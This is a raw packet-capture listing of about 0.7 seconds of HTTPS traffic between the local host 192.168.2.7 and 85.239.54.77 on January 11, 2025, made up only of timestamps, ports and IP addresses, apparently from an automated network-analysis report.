Jan 11, 2025 09:26:42.423561096 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.423595905 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.423604012 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.423639059 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.424135923 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.424149990 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.424196959 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.424206972 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.424257994 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.430311918 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.433983088 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.434000969 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.434036970 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.434061050 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.434087992 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.434106112 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.439378977 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.507774115 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.507800102 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.507864952 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.507894039 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.507939100 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.508193016 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.508208036 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.508253098 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.508263111 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.508297920 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.508703947 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.508722067 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.508774996 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.508785009 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.508822918 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.509282112 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.509298086 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.509382010 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.509392977 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.509433031 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.509826899 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.509840965 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.509886026 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.509896994 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.509937048 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.509937048 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.510613918 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.510628939 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.510675907 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.510683060 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.510701895 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.510720015 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.510755062 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.517049074 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.520821095 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.520837069 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.520926952 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.520951033 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.525388956 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.594470978 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.594491005 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.594616890 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.594649076 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.594690084 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.594954014 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.594968081 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.595019102 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.595027924 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.595062971 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.595530033 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.595544100 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.595603943 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.595613956 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.595645905 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.596185923 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.596200943 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.596251011 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.596261024 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.596292973 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.596652985 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.596667051 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.596720934 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.596729994 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.596761942 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.597232103 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.597244978 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.597297907 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.597306013 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.597338915 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.597918034 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.597932100 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.597981930 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.597990036 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.598021984 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.604176998 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.607711077 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.607729912 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.607809067 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.607831001 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.607868910 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.613646984 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.681345940 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.681371927 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.681438923 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.681469917 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.681482077 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.681515932 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.681839943 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.681866884 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.681901932 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.681907892 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.681930065 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.681952000 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.682265043 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.682281971 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.682326078 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.682332039 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.682353973 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.682374001 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.682713032 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.682729006 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.682763100 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.682769060 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.682795048 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.682812929 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.683475018 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.683492899 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.683538914 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.683546066 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.683568954 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.683582067 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.683767080 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.683789015 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.683815002 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.683820963 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.683842897 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.683864117 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.684525013 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.684542894 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.684576035 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.684582949 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.684609890 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.684643030 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.692145109 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.694566011 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.694591045 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.694628954 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.694638968 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.694663048 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.694677114 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.702083111 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.768104076 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.768131971 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.768215895 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.768239021 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.768286943 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.768662930 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.768682003 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.768737078 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.768743992 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.768785954 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.769190073 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.769212961 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.769248009 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.769256115 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.769279003 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.769299030 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.769710064 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.769728899 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.769782066 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.769789934 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.769828081 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.770288944 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.770325899 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.770353079 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.770359039 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.770385027 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.770402908 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.771009922 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.771028042 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.771081924 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.771089077 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.771126032 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.771528959 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.771550894 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.771600962 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.771609068 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.771647930 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.777288914 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.781408072 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.781430960 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.781519890 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.781528950 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.781579018 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.785857916 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.855031013 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.855068922 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.855173111 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.855185986 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.855195999 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.855226994 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.855424881 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.855470896 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.855479002 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.855499983 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.855509996 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.855530977 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.855829000 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.855874062 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.855904102 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.855910063 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.855937958 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.855957985 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.856267929 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.856302023 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.856326103 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.856331110 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.856354952 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.856374025 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.856532097 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.856549978 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.856611013 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.856616974 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.856647968 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.857139111 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.857158899 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.857197046 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.857203960 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.857234955 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.857253075 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.857547045 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.857569933 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.857608080 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.857620001 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.857636929 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.857654095 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.864598989 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.868199110 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.868216991 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.868335009 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.868343115 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.868388891 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.873337030 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.941839933 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.941865921 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.941939116 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.941950083 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.941988945 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.942328930 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.942343950 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.942403078 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.942409992 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.942451000 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.942859888 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.942874908 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.942936897 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.942945004 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.942981958 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.943465948 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.943480968 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.943536997 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.943543911 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.943583965 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.943844080 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.943859100 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.943907976 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.943914890 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.943955898 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.944449902 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.944464922 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.944523096 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.944530010 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.944567919 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.945038080 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.945053101 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.945105076 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.945111990 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.945158005 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.951236963 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.955107927 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.955142021 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.955219984 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.955245972 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:42.955287933 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:42.960241079 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.028736115 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.028764963 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.028902054 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.028935909 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.029122114 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.029150009 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.029181957 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.029191017 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.029203892 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.029236078 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.029844046 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.029864073 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.029938936 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.029946089 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.029978037 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.030180931 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.030195951 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.030222893 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.030229092 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.030246973 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.030267000 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.030612946 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.030631065 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.030675888 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.030683041 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.032988071 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.033014059 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.033061981 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.033071995 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.033087969 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.033117056 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.033163071 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.033179045 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.033204079 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.033210039 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.033237934 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.033252001 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.038419962 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.041832924 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.041853905 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.041975975 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.041989088 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.042558908 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.051007986 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.117948055 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.117974043 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.118108034 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.118138075 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.118310928 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.118330002 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.118371964 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.118380070 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.118396997 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.118422985 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.118681908 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.118695974 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.118729115 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.118736029 CET	443	49941	85.239.54.77	192.168.2.7
